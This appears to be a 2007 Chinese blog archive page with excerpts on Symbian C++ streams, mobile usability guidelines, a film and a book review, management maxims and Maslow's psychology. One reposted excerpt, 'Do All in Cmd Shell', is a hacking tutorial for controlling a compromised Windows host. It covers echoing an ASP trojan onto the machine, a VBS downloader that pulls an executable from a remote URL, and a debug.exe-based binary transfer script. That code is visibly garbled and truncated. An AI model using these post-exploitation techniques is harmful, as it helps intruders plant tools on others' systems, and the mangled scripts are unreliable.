Browsed by
Month: October 2007

流的operator<<() 内部流程

流的operator<<() 内部流程

首先,在symbian内部,它申明了这么一个模板方法:template <class T>inline RWriteStream& operator<<(RWriteStream& aStream,const T& anObject)    {    DoExternalizeL(anObject,aStream,Externalization(&anObject));    return aStream;    } 接着又定义了DoExternalizeL的两个overload方法:template <class T>inline void DoExternalizeL(const T& anObject,RWriteStream& aStream,Externalize::Member)    {anObject.ExternalizeL(aStream);} template <class T>inline void DoExternalizeL(const T& anObject,RWriteStream& aStream,Externalize::Function)    {ExternalizeL(anObject,aStream);} 根据不同的的Externalization类型,会选择两个不同的调用方法。 在store框架中,默认了一个原形是:Externalize::Member Externalization(const TAny*)这就解释了,为什么在store体系下,流只用在该类中加入ExternalizeL方法就可以执行operator<<()调用了。 而Implementation for a class without ExternalizeL() & InternalizeL()介绍过一种方法:implement the following Externalization() and Internalization() global functions: inline Externalize::Function Externalization(const TNonstore*)          {return Externalize::Function();}inline Internalize::Function Internalization(TNonstore*)          {return Internalize::Function();} declare the following ExternalizeL() and InternalizeL() global functions: void ExternalizeL(const TNonstore& aClass,RWriteStream& aStream);void InternalizeL(TNonstore& aClass,RReadStream& aStream); implement the ExternalizeL() and…

Read More Read More

Top 10 Usability Guidelines for Enterprise Applications

Top 10 Usability Guidelines for Enterprise Applications

Provide a clear navigation model  Core features should be available from the main view. Limit the number of menu choices – make them context specific. Navigation model should be focused on the user’s main tasks. Advanced functionality should be hidden from novice users.   Use familiar language  Use terms that are familiar to the user and relates to the users’ tasks and goals. Terminology should be consistent with the Series 60 UI style. Localize: target users’ native language should be…

Read More Read More

Top 10 Usability Guidelines for Games

Top 10 Usability Guidelines for Games

Pre-game Appropriate opening display and main menu implementation Use a splash screen for an emotional opening sequence, but limit the number of displays before the actual game to the minimum. Implement the game’s main menu with custom graphics. Avoid using UI components with standard graphics. The left softkey should be used for Select or the Options menu, the right softkey for Exit/Cancel/Back.   Natural game controls Design the game so that it does not require the user to press two keys simultaneously,…

Read More Read More

推荐一部电影–Talk To Me

推荐一部电影–Talk To Me

  一部感人的传记电影,故事记录的是上个世纪60年代的中末期,petey greene是一个敢在电台实话实说的黑人dj,皮蒂希望他所在的黑人社区,都能够像自己一样,知晓美国正在发生的大大小小的事情,站在一个与白人同等的视角去见证这个时代风起云涌的变化。当皮蒂的声音、幽默感和勇气在电波中澎湃出时代的活力和生命力时,听众的注意力就不仅仅集中在美妙的音乐上了,因为这里还有一个说起话来铿锵有力的男人,以一种以前没有人能够做到的方式,直接告诉他们有关美国的种族和政治问题。在整整几年的时间跨度里,皮蒂那“实话实说”的主持风格,不但成就了一个经典的回忆,还让他和杜威成为了那个时代最受喜爱的黑人偶像。  剧中的精彩对白:  Petey Greene: I’ll tell it to the hot; I’ll tell it to the cold; I’ll tell it to the young; I’ll tell it to the old. I don’t want no laughin’, I don’t want no cryin’, and most of all, no signifyin’.

[转]Do All in Cmd Shell

[转]Do All in Cmd Shell

目录 1,前言 2,文件传输 3,系统配置 4,网络配置 5,软件安装 6,Windows脚本 7,附言 前言 Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。 文件传输 对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下: 1,用Echo命令写ASP木马。 前提当然是目标主机上已经安装了IIS。 一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。 直接给出echo版: @echo ^ >up.asp 注意,只有一行,中间没有回车符。 生成的up.asp不能用浏览器访问,只能用下面这个脚本: with wscript if .arguments.count>dl.vbs @echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs @echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs 举例——下载ps.exe并保存到c:path下: cscript dl.vbs http://www.sometips.com/soft/ps.exe c:pathps.exe 注意,这是在远程shell中执行的。 4,Echo经过编码的任何文件,再用脚本+debug还原。 前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出“杀手锏”了! echo命令加重定向x作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位x作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。) 无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本: fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true) .write "@echo str=""" for i=1 to sl bt=ascb(midb(str,i,1)) if bt>debug.vbs"+vbcrlf+"@echo +""" next .writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_ +":for…

Read More Read More

暖暖

暖暖

最喜欢的作者之一jht出新书了。新书叫《暖暖》,刚在其blog(http://blog.pixnet.net/jht)连载完成,喜欢朋友也去看看吧。   书名:《暖暖》作者:蔡智恒书评:十萬六千多個文字,構思出一段讓人看了也暖暖的故事。其詼諧的文筆,敘述了書中男女主角曖昧且甜蜜的感情。 不過令我佩服的是,作者對各景點古蹟詳盡的描述介紹,北京的皇家御苑北海、恭王府、長城、天壇、北大三景、圓明園、頤和園、紀曉嵐故居…等,看了彷彿身歷其境,嚮往有一天能夠到北京去,好好地遊歷一番。 在這眾多景點介紹當中,給我印象最深的是恭王府裡頭,康熙所寫的福字碑。 福字的左邊像子和才,右邊有著壽、多、田,總共包括了「多子、多才、多田、多壽、多福」五種涵義,極深奧。 這本書除了能欣賞逗趣的愛情之外,還能了解許多知識,獲益不少。

十二大著名法则

十二大著名法则

1 马太效应     《新约马太福音》中有这样一个故事,一个国王远行前,交给3个仆人每人一锭银子,吩咐他们:“你们去做生意 ,等我回来时,再来见我。”国王回来时,第一个仆人说:“主人,你交给我们的一锭银子,我已赚了10锭。”于是国王奖励他10座城邑。第二个仆人报告说:“主人,你给我的一锭银子,我已赚了5锭。”于是国王例奖励了他5座城邑。第三个仆人报告说:“主人,你给我的一锭银子,我一直包在手巾里存著,我怕丢失,一直没有拿出来。”于是国王命令将第三个仆人的一锭银子也赏给第一个仆人,并且说:“凡是少的,就连他所有的也要夺过来。凡是多的,还要给他,叫他多多益善。”这就是马太效应。看看我们周围,就可以发现许多马太效应的例子。朋友多的人会借助频繁的交往得到更多的朋友;缺少朋友的人会一直孤独下去。金钱方面更是如此,即使投资回报率相同,一个比别人投资多10倍的人,收益也多10倍。     这是个赢家通吃的社会,善用马太效应,赢家就是你。    对企业经营发展而言,马太效应则告诉我们,要想在某一个领域保持优势,就必须在此领域迅速做大。当你成为某个领域的领头羊的时候,即使投资回报率相同,你也能更轻易的获得比弱小的同行更大的收益。而若没有实力迅速在某个领域做大,就要不停地寻找新的发展领域,才能保证获得较好的回报。     2 手表定理         手表定理是指一个人有一只表时,可以知道现在是几点钟,而当他同时拥有两只表时却无法确定。两只表并不能告诉一个人更准确的时间,反而会让看表的人失去对准确时间的信心。你要做的就是选择其中较信赖的一只,尽力校准它,并以此作为你的标准,听从它的指引行事。记住尼采的话:“兄弟,如果你是幸运的,你只需有一种道德而不要贪多,这样,你过桥更容易些。”     如果每个人都“选择你所爱,爱你所选择”,无论成败都可以心安理得。然而,困扰很多人的是:他们被“两只表”弄得无所,心身交瘁,不知自己该信仰哪一个,还有人在环境、他人的压力下,违心选择了自己并不喜欢的道路,为此而郁郁终生,即使取得了受人瞩目的成就,也体会不到成功的快乐。     手表定理在企业经营管理方面给我们一种非常直观的启发,就是对同一个人或同一个组织的管理不能同时采用两种不同的方法,不能同时设置两个不同的目标。甚至每一个人不能由两个人来同时指挥,否则将使这个企业或这个人无所适从。手表定理所指的另一层含义在于每个人都不能同时挑选两种不同的价值观,否则,你的行为将陷于混乱。   3 不值得定律         不值得定律最直观的表述是:不值得做的事情,就不值得做好,这个定律似乎再简单不过了,但它的重要性却时时被人们疏忘。不值得定律反映出人们的一种心理,一个人如果从事的是一份自认为不值得做的事情,往往会保持冷嘲热讽,敷衍了事的态度。不仅成功率小,而且即使成功,也不会觉得有多大的成就感。     哪些事值得做呢?一般而言,这取决于三个因素。     1、价值观。只有符合我们价值观的事,我们才会满怀热情去做。     2、个性和气质。一个人如果做一份与他的个性气质完全背离的工作,他是很难做好的,如一个好交往的人成了档案员,或一个害羞者不得不每天和不同的人打交道。    3、现实的处境。同样一份工作,在不同的处境下去做,给我们的感受也是不同的。例如,在一家大公司,如果你最初做的是打杂跑腿的工作,你很可能认为是不值得的,可是,一旦你被提升为领班或部门经理,你就不会这样认为了。     总结一下,值得做的工作是:符合我们的价值观,适合我们的个性与气质,并能让我们看到期望。如果你的工作不具备这三个因素,你就要考虑换一个更合适的工作,并努力做好它。     因此,对个人来说,应在多种可供选择的奋斗目标及价值观中挑选一种,然后为之而奋斗。“选择你所爱的,爱你所选择的”,才可能激发我们的奋斗毅力,也才可以心安理得。而对一个企业或组织来说,则要很好地分析员工的性格特性,合理分配工作,如让成就欲较强的职工单独或牵头来完成具有一定风险和难度的工作,并在其完成时给予定时的肯定和赞扬;让依附欲较强的职工更多地参加到某个团体中共同工作;让权力欲较强的职工担任一个与之能力相适应的主管。同时要加强员工对企业目标的认同感,让员工感觉到自己所做的工作是值得的,这样才能激发职工的热情。     4 彼得原理         彼得原理是美国学者劳伦斯·彼得在对组织中人员晋升的相关现象研究后得出的一个结论;在各种组织中,由于习惯于对在某个等级上称职的人员进行晋升提拔,因而雇员总是趋向于晋升到其不称职的地位。彼得原理有时也被称为“向上爬”原理。这种现象在现实生活中无处不在:一名称职的教授被提升为大学校长后无法胜任;一个优秀的运动员被提升为主管体育的官员,而无所作为。     对一个组织而言,一旦组织中的相当部分人员被推到了其不称职的级别,就会造成组织的人浮于事,效率低下,导致平庸者出人头地,发展停滞。因此,这就要求改变单纯的“根据贡献决定晋升”的企业员工晋升机制,不能因某个人在某一个岗位级别上干得很出色,就推断此人一定能够胜任更高一级的职务。要建立科学、合理的人员选聘机制,客观评价每一位职工的能力和水平,将职工安排到其可以胜任的岗位。不要把岗位晋升当成对职工的主要奖励方式,应建立更有效的奖励机制,更多地以加薪、休假等方式作为奖励手段。有时将一名职工晋升到一个其无法很好发挥才能的岗位,不仅不是对职工的奖励,反而使职工无法很好发挥才能,也给企业带来损失。     对个人而言,虽然我们每个人都期待著不停地升职,但不要将往上爬作为自己的惟一动力。与其在一个无法完全胜任的岗位勉力支撑、无所适从,还不如找一个自己能游刃有余的岗位好好发挥自己的专长。     5 零和游戏原理         当你看到两位对弈者时,你就可以说他们正在玩“零和游戏”。因为在大多数情况下,总会有一个赢,一个输,如果我们把获胜计算为得1分,而输棋为-1分,那么,这两人得分之和就是:1 (-1)=0。     这正是“零和游戏”的基本内容:游戏者有输有赢,一方所赢正是另一方所输,游戏的总成绩永远是零。零和游戏原理之所以广受关注,主要是因为人们发现在社会的方方面面都能发现与“零和游戏”类似的局面,胜利者的光荣后面往往隐藏著失败者的辛酸和苦涩。从个人到国家,从政治到经济,似乎无不验证了世界正是一个巨大的“零和游戏”场。这种理论认为,世界是一个封闭的系统,财富、资源、机遇都是有限的,个别人、个别地区和个别国家财富的增加必然意味著对其他人、其他地区和国家的掠夺,这是一个“邪恶进化论”式的弱肉强食的世界。     但20世纪人类在经历了两次世界大战,经济的高速增长、科技进步、全球化以及日益严重的环境污染之后,“零和游戏”观念正逐渐被“双赢”观念所取代。人们开始认识到“利己”不一定要建立在“损人”的基础上。通过有效合作,皆大欢喜的结局是可能出现的。但从“零和游戏”走向“双赢”,要求各方要有真诚合作的精神和勇气,在合作中不要耍小聪明,不要总想占别人的小便宜,要遵守游戏规则,否则“双赢”的局面就不可能出现,最终吃亏的还是自己。    6 华盛顿合作规律         华盛顿合作规律说的是:一个人敷衍了事,两个人互相推诿,三个人则永无成事之日。多少有点类似于我们“三个和尚”的故事。人与人的合作不是人力的简单相加,而是要复杂和微妙得多。在人与人的合作中,假定每个人的能力都为1,那么10个人的合作结果就有时比10大得多,有时甚至比1还要小。因为人不是静止的动物,而更像方向各异的能量,相推动时自然事半功倍,相互抵触时则一事无成。我们传统的管理理论中,对合作研究得并不多,最直观的反映就是,目前的大多数管理制度和行业都是致力于减少人力的无谓消耗,而非利用组织提高人的效能。换言之,不妨说管理的主要目的不是让每个人做到最好,而是避免内耗过多。21世纪将是一个合作的时代,值得庆幸的是,越来越多的人已经认识到真诚合作的重要性,正在努力学习合作。     邦尼人力定律:一个人一分钟可以挖一个洞,60个人一秒种却挖不了一个洞。    合作是一个问题,如何合作也是一个问题。   7 酒与污水定律         酒与污水定律是指,如果把一匙酒倒进一桶污水中,你得到的是一桶污水;如果把一匙污水倒进一桶酒中,你得到的还是一桶污水。几乎在任何组织里,都存在几个难弄的人物,他们存在的目的似乎就是为了把事情搞糟。他们到处搬弄是非,传播流言、破坏组织内部的和谐。最糟糕的是,他们像果箱里的烂苹果,如果你不及时处理,它会迅速传染,把果箱里其它苹果也弄烂,“烂苹果”的可怕之处在于它那惊人的破坏力。一个正直能干的人进入一个混乱的部门可能会被吞没,而一个人无德无才者能很快将一个高效的部门变成一盘散沙。组织系统往往是脆弱的,是建立在相互理解、妥协和容忍的基础上的,它很容易被侵害、被毒化。破坏者能力非凡的另一个重要原因在于,破坏总比建设容易。一个能工巧匠花费时日精心制作的陶瓷器,一头驴子一秒钟就能毁坏掉。如果拥有再多的能工巧匠,也不会有多少像样的工作成果。如果你的组织里有这样的一头驴子,你应该马上把它清除掉;如果你无力这样做,你就应该把它拴起来。     8 水桶定律         水桶定律是讲,一只水桶能装多少水,完全取决于它最短的那块木板。这就是说任何一个组织都可能面临的一个共同问题,即构成组织的各个部分往往决定了整个组织的水平。     构成组织的各个部分往往是优劣不齐的,而劣质部分往往又决定整个组织的水平。     “水桶定律”与“酒与污水定律”不同,后者讨论的是组织中的破坏力量,而“最短的木板”却是组织中有用的一个部分,只不过比其它部分差一些,你不能把它们当成烂苹果扔掉。强弱只是相对而言的,无法消除。问题在于你容忍这种弱点到什么程度。如果它严重到成为阻碍工作的瓶颈,就不得不有所动作。…

Read More Read More

自我实现

自我实现

人本主义的心理学大师马斯洛(Abraham Harold Maslow)在1940年代提出的需求层次理论中,他将研究焦点放在心理健康的个体上,特别是那些所谓「自我实现」(Self-actualized)的人身上,尝试归纳出那些对生命感到满意、能发挥潜能又具有创造力的人的共通点。马斯洛发现,这些人之所以较不易受到焦虑与恐惧影响,是因为他们对自己及他人都能抱著喜欢及接纳的态度。他们虽然也有缺点,但因为能够接受自己的缺点,所以他们较一般人更真诚、更不防卫,也对自己更满意。人本主义的心理学家及教育家相信每个人天生均具有自我实现的倾向,根据马斯洛的需求层级理论,当一个人较低层次的需求(如安全感)获得基本满足之後,他便会转而尝试满足更高层次的需求(如自我实现),他对生命的满意度也随之提高,但是当这样的倾向受到阻碍,特别是孩童时期父母冷酷或拒绝的态度,便会影响到这个人的自我概念的健康发展和他对现实世界的觉察,这个人开始自我防卫,甚至从真实的感受中抽离出来时,更难成为自我实现的人。 自我实现的人格特徵了解并认识现实,持有较为实际的人生观。悦纳自己、别人以及周围的世界。在情绪与思想表达上较自然。有较广阔的视野,就事论事,较少考虑个人利益。能享受自己的私人生活。有独立自主的性格。对平凡事物不觉厌烦,对日常生活永感新鲜。在生命中曾有过引起心灵震动的高峰经验。爱人类并认同自己为全人类之一员。有至深的知交,有亲密的家人。具民主风范,尊重别人的意见。有伦理观念,能区别手段与目的。绝不为达到目的而不择手段。带有哲理气质,有幽默感。有创见,不墨守成规。对世俗不轻易苟同。对生活环境有时时改进的意愿与能力。 自我实现之道对希望自己的人生能臻於自我实现的人,马斯洛有以下建议: 把自己的感情出口放宽,莫使心胸像个瓶颈。在任何情境中,都尝试从积极乐观的角度看问题,从长远的利害做决定。对生活环境中的一切,多欣赏、少抱怨;有不如意之处,设法改善;坐而空谈,不如起而实行。设定积极而有可行性的生活目标,然後全力以赴求其实现;但不能期望未来的结果一定不会失败。对是非之争辩,只要自己认清真理正义之所在,纵使违反众议,也应挺身而出,站在正义的一边,坚持到底。莫使自己的生活僵化,为自己在思想与行动上留一点弹性空间,偶尔放松一下身心,将有助於自己潜力的发挥。与人坦率相处,让别人看见你的长处和缺点,也让别人分享你的快乐与痛苦。